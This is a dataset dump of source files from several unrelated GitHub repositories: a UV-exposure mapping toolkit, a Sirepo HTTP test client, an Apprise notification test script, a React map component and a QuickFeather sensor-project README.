7].dayofyear.values.tolist()\n ds[\"August\"] = ayear[ayear.month == 8].dayofyear.values.tolist()\n ds[\"September\"] = ayear[ayear.month == 9].dayofyear.values.tolist()\n ds[\"October\"] = ayear[ayear.month == 10].dayofyear.values.tolist()\n ds[\"November\"] = ayear[ayear.month == 11].dayofyear.values.tolist()\n ds[\"December\"] = ayear[ayear.month == 12].dayofyear.values.tolist()\n\n day_str = None\n\n for item in ds.items() :\n if set(day_selection) == set(item[1]) :\n day_str = item[0]\n break\n\n \n if day_str == 'year' :\n if len(year_selection) == 1 :\n title = title + ' for the year of ' + str(year_selection[0])\n elif all(np.diff(year_selection)==1) :\n title = title + ' for the years ' + str(np.min(year_selection)) + '-' + str(np.max(year_selection))\n else :\n title = title + ' for the years: ' + np.array2string(year_selection,separator=', ')\n\n elif day_str is not None :\n title = title + ' for ' + day_str \n if len(year_selection) == 1 :\n title = title + ' ' + str(year_selection[0])\n elif all(np.diff(year_selection)==1) :\n title = title + ', ' + str(np.min(year_selection)) + '-' + str(np.max(year_selection))\n else :\n title = title + ' ' + np.array2string(year_selection,separator=', ')\n\n else :\n # TODO: potentially make this workable with \"custom day selection\" placeholder in title\n raise ValueError(\"Day selection not recognised, auto-title cannot proceed\")\n\n if filename :\n custom = False\n filename = \"UV.\" + units + '.' + statistic + '.'\n if len(year_selection) == 1 :\n filename = filename + str(year_selection[0]) + '.'\n elif all(np.diff(year_selection)==1) :\n filename = filename + str(np.min(year_selection)) + '-' + str(np.max(year_selection)) + '.'\n else :\n filename = filename + str(year_selection[0]) + '-custom' + '.'\n custom = True\n day_str_filenamer = {\n \"January\" : \"01\",\n \"February\" : \"02\",\n \"March\" : \"03\",\n \"April\" : \"04\",\n \"May\" : \"05\",\n \"June\" : \"06\",\n \"July\" : \"07\",\n \"August\" : \"08\",\n \"September\" : \"09\",\n \"October\" : \"10\",\n \"November\" : \"11\",\n \"December\" : \"12\",\n \"winter (DJF)\" : \"s-\",\n \"spring (MAM)\" : \"s-\",\n \"summer (JJA)\" : \"s-\",\n \"autumn (SON)\" : \"s-\",\n \"year\" : \"year\"}\n filename = filename + day_str_filenamer[day_str] \n if hour is not None :\n filename = filename + '.' + str(hour) + 'h'\n if custom :\n filename = filename + '.created_' + dt.datetime.now().strftime('%Y%m%d_%H%M%S')\n filename = format_filename(filename)\n return title, filename\n else :\n return title\n \n\n\n\n\n\ndef calculate_map_from_hists(pix_hist,statistic,bin_centers) :\n\n # Begin by defining the easy options that only require two inputs\n basic_descriptor_functions = {\n \"mean\": hist_mean,\n \"median\": lambda x,y: hist_percentile(x,y,0.5),\n \"med\": lambda x,y: hist_percentile(x,y,0.5),\n \"sd\": hist_stdev,\n \"std\": hist_stdev,\n \"stdev\": hist_stdev,\n \"max\": hist_max,\n \"maximum\": hist_max,\n \"min\": hist_min,\n \"minimum\":hist_min\n }\n # we can check if the chosen statistic is basic or advanced\n if statistic.lower() in basic_descriptor_functions.keys() :\n # in this case, we can simply select the basic function from the dict...\n descriptor_function = basic_descriptor_functions[statistic.lower()]\n # ...and execute it across the map\n map = np.apply_along_axis(lambda x: descriptor_function(x,bin_centers),0,pix_hist)\n # TODO: a loose space could ruin this, need shunting yard algorithm of sorts\n elif statistic.lower()[3:] == \"prct\" or statistic.lower()[3:] == \"percentile\" :\n prct = int(statistic[0:2]) / 100\n map = np.apply_along_axis(lambda x: hist_percentile(x,bin_centers,prct),0,pix_hist)\n else :\n # TODO: interpret self.statistic to build advanced functions (y i k e s)\n raise ValueError(\"Statistic string not recognised\")\n \n\n return map" }, { "alpha_fraction": 0.6158495545387268, "alphanum_fraction": 0.625251829624176, "avg_line_length": 23.816667556762695, "blob_id": "0a720ba8497211f2f3bc3c79a9bdbe084bd51c31", "content_id": "9e3ed7b9ae1ca8587ee984051f23f5faad3b4346", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1489, "license_type": "permissive", "max_line_length": 83, "num_lines": 60, "path": "/setup.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\nrequirements = [\n 'pandas',\n 'netcdf4',\n 'numpy',\n 'cartopy',\n 'matplotlib',\n]\n\nsetup_requirements = [\n 'pytest-runner',\n]\n\ntest_requirements = [\n 'pytest-cov',\n]\n\nextras = {\n 'test': test_requirements,\n}\n\npackages = find_packages(include=['python_tamer'],exclude=['test','doc'])\n\npackage_dir = {'python-TAMER': 'python_tamer'}\n\npackage_data = {'test': [\"UV_test_data_2018.nc\"],'python_tamer' : [\"mch_logo.png\"]}\n\nsetup(\n name='python-TAMER',\n version=\"0.4.0\",\n author=\"Todd C. Harris\",\n author_email='[email protected]',\n description=\"Toolkit for Analysis and Maps of Exposure Risk\",\n url='https://github.com/tch521/python-TAMER',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Programming Language :: Python :: 3',\n ],\n keywords='python-TAMER UV',\n entry_points={},\n scripts=[],\n license=\"BSD-3-Clause license\",\n long_description=open('README.rst').read() + '\\n\\n' +\n open('HISTORY.rst').read(),\n include_package_data=True,\n zip_safe=False,\n test_suite='test',\n packages=packages,\n install_requires=requirements,\n package_dir=package_dir,\n package_data=package_data,\n setup_requires=setup_requirements,\n tests_require=test_requirements,\n extras_require=extras,\n)\n" }, { "alpha_fraction": 0.5450819730758667, "alphanum_fraction": 0.5450819730758667, "avg_line_length": 15.300000190734863, "blob_id": "2767ae5573e8ef1eaba5172ef4e23a2abb51594f", "content_id": "e9692900ba3fa90479a763257b92a77714446618", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 488, "license_type": "permissive", "max_line_length": 42, "num_lines": 30, "path": "/doc/code_reference.rst", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "=============================\nCode Reference\n=============================\n\n\nExposureMap module\n------------------\n\n.. automodule:: python_tamer.ExposureMap\n :members:\n :undoc-members:\n :show-inheritance:\n\n\nSpecificDoses module\n--------------------\n\n.. automodule:: python_tamer.SpecificDoses\n :members:\n :undoc-members:\n :show-inheritance:\n\n\nSubroutines module\n------------------\n\n.. automodule:: python_tamer.subroutines\n :members:\n :undoc-members:\n :show-inheritance:" }, { "alpha_fraction": 0.6622516512870789, "alphanum_fraction": 0.6688741445541382, "avg_line_length": 22.842105865478516, "blob_id": "1929aab575c521249b738819f4ae53c7efd8d7f0", "content_id": "6bf42d112723e017c5b3f6c0db844c6346720ccc", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 453, "license_type": "permissive", "max_line_length": 80, "num_lines": 19, "path": "/python_tamer/__init__.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "\"\"\" Initializations \"\"\"\n\nfrom pkg_resources import get_distribution, DistributionNotFound # What's this? \nfrom .ExposureMap import *\nfrom .SpecificDoses import *\n# from yaconfigobject import Config\n\n\n# try:\n# __version__ = get_distribution(__name__).version\n# except DistributionNotFound:\n# # package is not installed\n# pass\n\n__author__ = \"\"\"Todd C. Harris\"\"\"\n__email__ = '[email protected]'\n__version__ = \"0.4.0\"\n\n# CONFIG = Config(name='python_tamer.conf')\n" }, { "alpha_fraction": 0.7556122541427612, "alphanum_fraction": 0.7660714387893677, "avg_line_length": 59.30769348144531, "blob_id": "08f90ae31fc98ce50400814e95dd97449fb6b983", "content_id": "f06182b1723442f11346dd7b2c2e94d4e04ce565", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 3920, "license_type": "permissive", "max_line_length": 99, "num_lines": 65, "path": "/doc/usage.rst", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "=====\nUsage\n=====\n\nCurrently, python-TAMER is only compatiable with the `Vuilleumier et al. 2020 \n<https://doi.org/10.1016/j.envint.2020.106177>`_ UV climatology for Switzerland. This dataset is \ncurrently only availabe on request, but will soon be released publicly. \n\nTo use python-TAMER in a project::\n\n import python_tamer\n\nThere are currently two major classes in python-TAMER, ``SpecificDoses`` and ``ExposureMap``.\nEach class has an associated workflow designed to produce tablular and map outputs respectively.\nEvery object created by one of these classes has two critical properties, ``data_directory``\nand ``src_filename_format``. These describe the location and filename format of the Vuilleumier\net al. UV climatology. Users must ensure these properties are correct for each class object \nthey create. Below we describe in general terms the approach taken by these classes. For\nexamples of raw code, see the :ref:`Code Reference`.\n\n\nCalculating specific doses\n--------------------------\n\nThe ``SpecificDoses`` class is essentially a table listing the key information to perform a dose\nestimation. In the context of UV, this can be used in tandem with or as a substitute for \ntradition dosimetry measurements. See `Harris et al. 2021 <https://doi.org/10.3390/atmos12020268>`_\nfor more information on this approach.\n\nTo get started with the ``SpecificDoses`` class, prepare a pandas DataFrame (i.e. a table) with \ncolumns for ``Latitude``, ``Longitude``, ``Date``, ``ER``, and ``Schedule``. Each row of this \ntable represents an exposed individual and the columns provide the corresponding details needed\nto estimate their total daily UV dose. The ``ER`` column refers to the Exposure Ratio of the \nexposed individual. This information is not always readily available, and so the ``SpecificDoses``\nclass includes the ``ER_from_posture()`` function that calculates an ``ER`` column based on\n``Posture`` and ``Anatomic_zone`` columns. Similarly, the ``Schedule`` column refers to the \nExposure Schedule, a 24-length vector describing the proportion of each hour spent outdoors.\nOften it is easier to simply list and start time and end time for a given exposure period,\nso we have included the ``schedule_constant_exposure()`` function which generates a ``Schedule``\ncolumn based on ``Time_start`` and ``Time_end`` columns.\n\nOnce the SpecificDoses table is prepared, the ``calculate_specific_doses()`` function can be\napplied to append ``Ambient_dose`` and ``Personal_dose`` columns to the table. \n\n\nGenerating maps of exposure information\n---------------------------------------\n\nThe ``ExposureMap`` class is designed to calculate more general information about doses or \nUV radiation intensity. The idea is to generate what we refer to as \"pixel histograms\", \nthose are histograms of UV intensity or UV doses for each spatial pixel available in the \ndataset. By using histograms, python-TAMER is able to collect large distributions of data\nper pixel with relatively low memory requirements, ensuring that these calculations can be\nperformed on personal computers with as little as 4GB of RAM. The data is loaded using the\n``collect_data()`` function, which goes through the dataset one file at a time, loading \nthe relevant data, performing any necessary calculations (such as applying an exposure\nschedule to calculate a dose or performing unit conversions), and then discretising the\nresults and adding that information to the pixel histograms. \n\nOnce the relevant data has been collected into pixel histograms, the ``calculate_map()``\nfunction can be used to calculate a descriptor quantity for each histogram. These\ndescriptors can be simple, such as the mean or median of the histograms. They can also\nbe more advanced, such as percentiles or the standard deviation. This gives a single \nnumber per pixel, stored as an array, that can then be rendered as a colour map using\nthe ``plot_map()`` function.\n" } ]
11
mrakitin/sirepo
https://github.com/mrakitin/sirepo
e92b7fcafe8d4a376f930c06c985a5496cba07d9
611712661df87d718353fb4e5953059268c8dfab
ed67658f8620c9afb40cf0b1f323b44da8fff359
refs/heads/master
2021-01-24T23:24:37.142990
2020-02-26T23:20:51
2020-02-26T23:20:51
46,573,216
0
1
null
2015-11-20T16:23:45
2015-07-29T14:11:28
2015-11-20T16:10:42
null
[ { "alpha_fraction": 0.45745307207107544, "alphanum_fraction": 0.4616614878177643, "avg_line_length": 30.183727264404297, "blob_id": "1ed66bf02b9ef4f6dfe29d02954a0ccfa0c2aa73", "content_id": "dd36c60ed5b7c3a3234c5880291235ebeb31b650", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11881, "license_type": "permissive", "max_line_length": 93, "num_lines": 381, "path": "/sirepo/pkcli/test_http.py", "repo_name": "mrakitin/sirepo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nu\"\"\"async requests to server over http\n\n:copyright: Copyright (c) 2020 RadiaSoft LLC. All Rights Reserved.\n:license: http://www.apache.org/licenses/LICENSE-2.0.html\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\nfrom pykern import pkconfig\nfrom pykern import pkjson\nfrom pykern.pkcollections import PKDict\nfrom pykern.pkdebug import pkdp, pkdexc, pkdlog\nimport asyncio\nimport contextlib\nimport copy\nimport re\nimport sirepo.sim_data\nimport sirepo.util\nimport time\nimport tornado.httpclient\nimport random\n\nCODES = PKDict(\n elegant=[\n PKDict(\n name='bunchComp - fourDipoleCSR',\n reports=[\n 'bunchReport1',\n 'elementAnimation10-5',\n ],\n ),\n PKDict(\n name='SPEAR3',\n reports=[\n 'bunchReport2',\n 'elementAnimation62-3',\n ],\n ),\n ],\n jspec=[\n PKDict(\n name='Booster Ring',\n reports=[\n 'particleAnimation',\n 'rateCalculationReport',\n ],\n ),\n ],\n srw=[\n PKDict(\n name='Tabulated Undulator Example',\n reports=[\n 'intensityReport',\n 'trajectoryReport',\n 'multiElectronAnimation',\n 'powerDensityReport',\n 'sourceIntensityReport',\n ],\n ),\n PKDict(\n name='Bending Magnet Radiation',\n reports=[\n 'initialIntensityReport',\n 'intensityReport',\n 'powerDensityReport',\n 'sourceIntensityReport',\n 'trajectoryReport',\n ],\n ),\n ],\n synergia=[\n PKDict(\n name='IOTA 6-6 Bare',\n reports=[\n 'beamEvolutionAnimation',\n 'bunchReport1',\n ],\n ),\n ],\n warppba=[\n PKDict(\n name='Laser Pulse',\n reports=[\n 'fieldAnimation',\n 'laserPreviewReport',\n ],\n ),\n ],\n warpvnd=[\n PKDict(\n name='EGun Example',\n reports=[\n 'fieldAnimation',\n ],\n ),\n ],\n)\n\ncfg = None\n\n\ndef default_command():\n _init()\n random.seed()\n asyncio.run(_run_all())\n\n\nasync def _cancel_on_exception(task):\n try:\n await task\n except Exception as e:\n task.cancel()\n raise\n\n\nclass _Client(PKDict):\n _global_lock = asyncio.Lock()\n _login_locks = PKDict()\n\n def __init__(self, **kwargs):\n super().__init__(\n _client=tornado.httpclient.AsyncHTTPClient(),\n _headers=PKDict({'User-Agent': 'test_http'}),\n **kwargs\n )\n\n def copy(self):\n n = type(self)()\n for k, v in self.items():\n if k != '_client':\n n[k] = copy.deepcopy(v)\n return n\n\n async def get(self, uri):\n uri = self._uri(uri)\n with _timer(uri):\n return self.parse_response(\n await self._client.fetch(\n uri,\n headers=self._headers,\n method='GET',\n connect_timeout=1e8,\n request_timeout=1e8,\n )\n )\n\n async def login(self):\n r = await self.post('/simulation-list', PKDict())\n assert r.srException.routeName == 'missingCookies'\n r = await self.post('/simulation-list', PKDict())\n assert r.srException.routeName == 'login'\n async with self._global_lock:\n self._login_locks.pksetdefault(self.email, asyncio.Lock())\n async with self._login_locks[self.email]:\n r = await self.post('/auth-email-login', PKDict(email=self.email))\n t = sirepo.util.create_token(\n self.email,\n ).decode()\n r = await self.post(\n self._uri('/auth-email-authorized/{}/{}'.format(self.sim_type, t)),\n data=PKDict(token=t, email=self.email),\n )\n assert r.state != 'srException', 'r={}'.format(r)\n if r.authState.needCompleteRegistration:\n r = await self.post(\n '/auth-complete-registration',\n PKDict(displayName=self.email),\n )\n r = await self.post('/simulation-list', PKDict())\n self._sid = PKDict([(x.name, x.simulationId) for x in r])\n self._sim_db = PKDict()\n self._sim_data = sirepo.sim_data.get_class(self.sim_type)\n return self\n\n def parse_response(self, resp):\n self.resp = resp\n assert self.resp.code == 200, 'resp={}'.format(resp)\n self.json = None\n if 'Set-Cookie' in resp.headers:\n self._headers.Cookie = resp.headers['Set-Cookie']\n if 'json' in resp.headers['content-type']:\n self.json = pkjson.load_any(resp.body)\n return self.json\n try:\n b = resp.body.decode()\n except UnicodeDecodeError:\n # Binary data files can't be decoded\n return\n if 'html' in resp.headers['content-type']:\n m = re.search('location = \"(/[^\"]+)', b)\n if m:\n if 'error' in m.group(1):\n self.json = PKDict(state='error', error='server error')\n else:\n self.json = PKDict(state='redirect', uri=m.group(1))\n return self.json\n return b\n\n async def post(self, uri, data):\n data.simulationType = self.sim_type\n uri = self._uri(uri)\n with _timer(\n 'uri={} email={} simulationId={} report={}'.format(\n uri,\n self.email,\n data.get('simulationId'),\n data.get('report')\n ),\n ):\n return self.parse_response(\n await self._client.fetch(\n uri,\n body=pkjson.dump_bytes(data),\n headers=self._headers.pksetdefault(\n 'Content-type', 'application/json'\n ),\n method='POST',\n connect_timeout=1e8,\n request_timeout=1e8,\n ),\n )\n\n async def sim_db(self, sim_name):\n try:\n return self._sim_db[sim_name]\n except KeyError:\n self._sim_db[sim_name] = await self.get(\n '/simulation/{}/{}/0'.format(\n self.sim_type,\n self._sid[sim_name],\n ),\n )\n return self._sim_db[sim_name]\n\n async def sim_run(self, name, report, timeout=90):\n\n async def _run(self):\n c = None\n i = self._sid[name]\n d = await self.sim_db(name)\n pkdlog('sid={} report={} state=start', i, report)\n r = await self._run_simulation(d, i, report)\n try:\n p = self._sim_data.is_parallel(report)\n if r.state == 'completed':\n return\n c = r.get('nextRequest')\n for _ in range(timeout):\n if r.state in ('completed', 'error'):\n c = None\n break\n assert 'nextRequest' in r, \\\n 'expected \"nextRequest\" in response={}'.format(r)\n r = await self.post('/run-status', r.nextRequest)\n await asyncio.sleep(1)\n else:\n pkdlog('sid={} report={} timeout={}', i, report, timeout)\n except asyncio.CancelledError:\n return\n except Exception:\n pkdlog('r={}', r)\n raise\n finally:\n if c:\n await self.post('/run-cancel', c)\n s = 'cancel' if c else r.get('state')\n e = False\n if s == 'error':\n e = True\n s = r.get('error', '<unknown error>')\n pkdlog('sid={} report={} state={}', i, report, s)\n assert not e, \\\n 'unexpected error state, error={} sid={}, report={}'.format(s, i, report)\n if p:\n g = self._sim_data.frame_id(d, r, report, 0)\n f = await self.get('/simulation-frame/' + g)\n assert 'title' in f, \\\n 'no title in frame={}'.format(f)\n await self.get(\n '/download-data-file/{}/{}/{}/{}'.format(\n self.sim_type,\n i,\n report,\n 0,\n ),\n )\n c = None\n try:\n c = await self._run_simulation(d, i, report)\n f = await self.get('/simulation-frame/' + g)\n assert f.state == 'error', \\\n 'expecting error instead of frame={}'.format(f)\n except asyncio.CancelledError:\n return\n finally:\n if c:\n await self.post('/run-cancel', c.get('nextRequest'))\n return await _run(self.copy())\n\n async def _run_simulation(self, data, simulation_id, report):\n # TODO(e-carlin): why is this true?\n if 'animation' in report.lower() and self.sim_type != 'srw':\n report = 'animation'\n return await self.post(\n '/run-simulation',\n PKDict(\n # works for sequential simulations, too\n forceRun=True,\n models=data.models,\n report=report,\n simulationId=simulation_id,\n simulationType=self.sim_type,\n ),\n )\n\n def _uri(self, uri):\n if uri.startswith('http'):\n return uri\n assert uri.startswith('/')\n # Elegant frame_id's sometimes have spaces in them so need to\n # make them url safe. But, the * in the url should not be made\n # url safe\n return cfg.server_uri + uri.replace(' ', '%20')\n\n\ndef _init():\n global cfg\n if cfg:\n return\n cfg = pkconfig.init(\n server_uri=('http://127.0.0.1:8000', str, 'where to send requests'),\n )\n\n\nasync def _run(email, sim_type):\n await _run_sequential_parallel(\n await _Client(email=email, sim_type=sim_type).login(),\n )\n\n\nasync def _run_all():\n l = []\n for a in (\n ('[email protected]', 'elegant'),\n ('[email protected]', 'jspec'),\n ('[email protected]', 'srw',),\n ('[email protected]', 'synergia'),\n ('[email protected]', 'warppba'),\n ('[email protected]', 'warpvnd'),\n ('[email protected]', 'elegant'),\n ('[email protected]', 'jspec'),\n ('[email protected]', 'srw',),\n ('[email protected]', 'synergia'),\n ('[email protected]', 'warppba'),\n ('[email protected]', 'warpvnd'),\n ('[email protected]', 'elegant'),\n ('[email protected]', 'jspec'),\n ('[email protected]', 'srw',),\n ('[email protected]', 'synergia'),\n ('[email protected]', 'warppba'),\n ('[email protected]', 'warpvnd'),\n ):\n l.append(_run(*a))\n await _cancel_on_exception(asyncio.gather(*l))\n\n\nasync def _run_sequential_parallel(client):\n c = []\n s = CODES[client.sim_type]\n e = s[random.randrange(len(s))]\n random.shuffle(e.reports)\n for r in e.reports:\n c.append(client.sim_run(e.name, r))\n await _cancel_on_exception(asyncio.gather(*c))\n\n\[email protected]\ndef _timer(description):\n s = time.time()\n yield\n if 'run-status' not in description:\n pkdlog('{} elapsed_time={}', description, time.time() - s)\n" } ]
1
mattpackwood/apprise_python_test
https://github.com/mattpackwood/apprise_python_test
c22f764f8b7ff735272048c46eecda19fdfa447a
aa4f8ed1eee7792c31cfb66f93790650c06de760
6dea8b00fbe2285bd5d25cf2c7c4ced1ca447f0e
refs/heads/main
2022-11-29T15:18:56.548510
2022-11-20T14:09:36
2022-11-20T14:09:36
240,067,136
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6708782911300659, "alphanum_fraction": 0.6952233910560608, "avg_line_length": 32.11224365234375, "blob_id": "e5ade828e48e77d288dd0a2e5ad7efaed4546dba", "content_id": "594559cdb0f650994f471e96c2a2a1756a8ca05f", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3245, "license_type": "permissive", "max_line_length": 100, "num_lines": 98, "path": "/test1.py", "repo_name": "mattpackwood/apprise_python_test", "src_encoding": "UTF-8", "text": "# Test Code to exercise the Apprise Python Library from Chris Caron\n# Using an Object\n\nimport apprise\n\n# Keys are in an external file\n#from secrets import secrets\ntry:\n from secrets import secrets\nexcept ImportError:\n print(\"Keys are kept in secrets.py, you need to find them!!!\")\n raise\n\n# Create an Apprise instance\napobj = apprise.Apprise()\n\n# Add all of the notification services by their server url.\n# A sample IFTTT notification - Working 100%\n#X apobj.add('ifttt://'+secrets['IFTTT_key'])\n\n# A sample Pushover notification - Working 100%\n#X apobj.add(\"pover://\" + secrets[\"Pushover_key\"])\n\n# A sample Telegram notification - Working 100%\n#X apobj.add(\"apprise tgram://\" + secrets[\"Telegram_key\"])\n\n# A sample Microsoft Teams notification - Working 100% -> \"General\" Channel\n#X apobj.add(\"msteams://\" + secrets[\"Teams_key\"])\n\n# A simple Techulus Push notification - Working 100%\n#X apobj.add(\"push:///\" + secrets[\"Techulus_key\"] + \"/\")\n\n# A simple Pushed notification - Working 100%\n#X apobj.add(\"pushed://\" + secrets[\"Pushed_key\"])\n\n# A simple PushSafer notification - Working 100%\n#X apobj.add(\"psafers://\" + secrets[\"PushSafer_key\"])\n\n# A simple Mac Desktop notification - Broken\n#apobj.add(\"macosx://\")\n\n# A simple Spontit notification - App broken??\n#Y apobj.add(\"spontit://\" + secrets[\"Spontit_key\"] + \"/\")\n\n# A simple LaMetric notification - Working 100%\n#X apobj.add(\"lametric://\" + secrets[\"LaMetric_key\"])\n\n# A simple Notica notification - Working 100%\n#X apobj.add(\"notica://\" + secrets[\"Notify_key\"])\n\n# A simple Popcornnotify notification - Works 100%\n#X apobj.add(\"popcorn:///\" + secrets[\"Popcornnotify_key\"] +\"/12483462166\")\n\n# A simple AWS SNS notification - Working 100%!\n#X apobj.add(\"sns:///\" + secrets[\"SNS_key\"] +\"/12483462166\")\n\n# A simple Twist notification - Works 100%\n#X apobj.add(\"twist://\" + secrets[\"Twist_key\"])\n\n# A simple Reddit notification - Works 100%\n#x apobj.add(\"reddit://\" + secrets[\"Reddit_key\"])\n\n# A sample Join notification - I no longer use this tool, it needs Android\n#apobj.add(\"join://\" + secrets[\"Join_key\"])\n\n# A simple Pushbulet notification - I no longer use this tool, it needs Android\n#apobj.add(\"pbul://\" + secrets[\"Pushbullet_key\"])\n\n# A sample Twilil notification\n#apobj.add(\"twilio://\" + secrets[\"Twilio_Account_SID\"] + secrets[\"Twilio_Auth_Token\"] + \"@12482189476/1243462166\")\n\n# A simple Discord notification - Works 100%\n#X apobj.add(\"discord://\" + secrets[\"Discord_key\"])\n\n# A simple Webex notification - Works 100%\n#X apobj.add(\"wxteams:///\" + secrets[\"WebEx_key\"])\n\n# A simple Gitter notification - Works 100%\n#X apobj.add(\"gitter:///\" + secrets[\"Gitter_key\"])\n\n# A simple Flock notification - Works 100%\n#X apobj.add(\"flock:///\" + secrets[\"Flock_key\"])\n\n# A simple Prowl notification - Works 100%\n#X apobj.add(\"prowl://\" + secrets[\"Prowl_key\"])\n\n# A simple SendGrid notification - Works 100%\n#apobj.add(\"sendgrid:///\" + secrets[\"SendGrid_key\"])\n\n# A simple Mastadon notification - Testing\napobj.add(\"mastadons://\" + secrets[\"Mastodon_key\"])\n\n# Then notify these services any timeyou desire. The below would\n# notify all of the services loaded into our Apprise object.\napobj.notify(\n body=\"Body of notification, random text\",\n title=\"Test to Various Notification Services\",\n)\n" }, { "alpha_fraction": 0.7809523940086365, "alphanum_fraction": 0.7857142686843872, "avg_line_length": 45.44444274902344, "blob_id": "eba3750152b7f372cf38e4cbe271326fb037c5c3", "content_id": "6dc74c56c5eb4cf6d5fca3a8403fadb154189b2f", "detected_licenses": [ "Unlicense" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 420, "license_type": "permissive", "max_line_length": 150, "num_lines": 9, "path": "/README.md", "repo_name": "mattpackwood/apprise_python_test", "src_encoding": "UTF-8", "text": "# apprise_python_test\nTest code for the apprise notification library\nRunning on my Mac I foind this requires Python3, the auther says it should run under Python2 but I have had no luck with that (certain services break)\nLink to library on Github: https://github.com/caronc/apprise\nLink to the library on PyPI: https://pypi.org/project/apprise/\n\nMany thanks to Chris Caron for this fantastic library!\n\nStill messing with it\n\n\n" } ]
2
AlexSanch/Illegal-Logging-Detector
https://github.com/AlexSanch/Illegal-Logging-Detector
f84757b3975474b24e3f76f8e791f94bf6707d35
56f48ff880bd67b832d7f996700117b5fdb50337
33b1ca87c159bc520ede5ebdb84cdc616e8c5795
refs/heads/main
2023-05-06T19:26:35.019129
2021-05-26T10:59:05
2021-05-26T10:59:05
370,571,990
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.6169102191925049, "alphanum_fraction": 0.6169102191925049, "avg_line_length": 18.571428298950195, "blob_id": "9fbcf634da2ab8571fdbad6068b6567512036120", "content_id": "8223556778f2e4cb494c14c4dcf709a4fbddd4f6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 958, "license_type": "permissive", "max_line_length": 58, "num_lines": 49, "path": "/Webapp/src/components/Maps/Map/Map.js", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "import React, { useRef, useState, useEffect } from \"react\"\nimport \"./Map.css\";\nimport MapContext from \"./MapContext\";\nimport * as ol from \"ol\";\n\nconst Map = ({ children, zoom, center }) => {\n\tconst mapRef = useRef();\n\tconst [map, setMap] = useState(null);\n\n\t// on component mount\n\tuseEffect(() => {\n\t\tlet options = {\n\t\t\tview: new ol.View({ zoom, center }),\n\t\t\tlayers: [],\n\t\t\tcontrols: [],\n\t\t\toverlays: []\n\t\t};\n\n\t\tlet mapObject = new ol.Map(options);\n\t\tmapObject.setTarget(mapRef.current);\n\t\tsetMap(mapObject);\n\n\t\treturn () => mapObject.setTarget(undefined);\n\t}, []);\n\n\t// zoom change handler\n\tuseEffect(() => {\n\t\tif (!map) return;\n\n\t\tmap.getView().setZoom(zoom);\n\t}, [zoom]);\n\n\t// center change handler\n\tuseEffect(() => {\n\t\tif (!map) return;\n\n\t\tmap.getView().setCenter(center)\n\t}, [center])\n\n\treturn (\n\t\t<MapContext.Provider value={{ map }}>\n\t\t\t<div ref={mapRef} className=\"ol-map\">\n\t\t\t\t{children}\n\t\t\t</div>\n\t\t</MapContext.Provider>\n\t)\n}\n\nexport default Map;" }, { "alpha_fraction": 0.6990252733230591, "alphanum_fraction": 0.717279851436615, "avg_line_length": 36.92521286010742, "blob_id": "a606b178194d13964623e5f5f4984c8caedf70e1", "content_id": "d9eb08a499f7aa76be1d86e6652c3aa3d573106f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 17749, "license_type": "permissive", "max_line_length": 151, "num_lines": 468, "path": "/Capture Project/README.rst", "repo_name": "AlexSanch/Illegal-Logging-Detector", "src_encoding": "UTF-8", "text": "Quickfeather `Simple Streaming Interface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__ AI Application Project\n=======================================================================================================================================================\n\nThis project performs either data collection or recognition based on the\nbuild mode. Data collection uses `Simple Streaming\nInterface <https://sensiml.com/documentation/simple-streaming-specification/introduction.html>`__\nto connect and stream sensor data to SensiML's `Data Capture\nLab <https://sensiml.com/products/data-capture-lab/>`__. Adding external\nsensors to collect data, analyze and build models is made simple\nrequiring only a sensor configuration API function and data reading\nfunction API to be supplied for the new sensor. This project provides an\nArduino friendly Wire interface for easily integrating Arduino sensor\ncode.\n\nBuilding and running the project for data collection mode:\n----------------------------------------------------------\n\n1. Verify that the following macros are set for data collection mode in\n the source file `sensor_ssss.h <inc/sensor_ssss.h>`__.\n\n::\n\n #define SENSOR_SSSS_RECOG_ENABLED 0 /* Enable SensiML recognition */\n #define SENSOR_SSSS_LIVESTREAM_ENABLED 1 /* Enable live-streaming for data collection */\n\n2. Use the provided `Makefile <GCC_Project/Makefile>`__ and an\n appropriate ARM GCC toolchain to build the project\n\n3. Use the flash programming procedure to flash the binary to\n Quickfeather board.\n\n4. Reset the board to start running the qf_ssi_ai_app application.\n\n5. Use `Data Capture\n Lab <https://sensiml.com/products/data-capture-lab/>`__ to connect,\n stream and capture the sensor data.\n\nBuilding and running the project for recognition mode:\n------------------------------------------------------\n\n1. Verify that the following macros are set for recognition mode in the\n source file `sensor_ssss.h <inc/sensor_ssss.h>`__.\n\n::\n\n #define SENSOR_SSSS_RECOG_ENABLED 1 /* Enable SensiML recognition */\n #define SENSOR_SSSS_LIVESTREAM_ENABLED 0 /* Enable live-streaming for data collection */\n\n2. Use the provided `Makefile <GCC_Project/Makefile>`__ and an\n appropriate ARM GCC toolchain to build the project\n\n3. Use the flash programming procedure to flash the binary to\n Quickfeather board.\n\n4. Reset the board 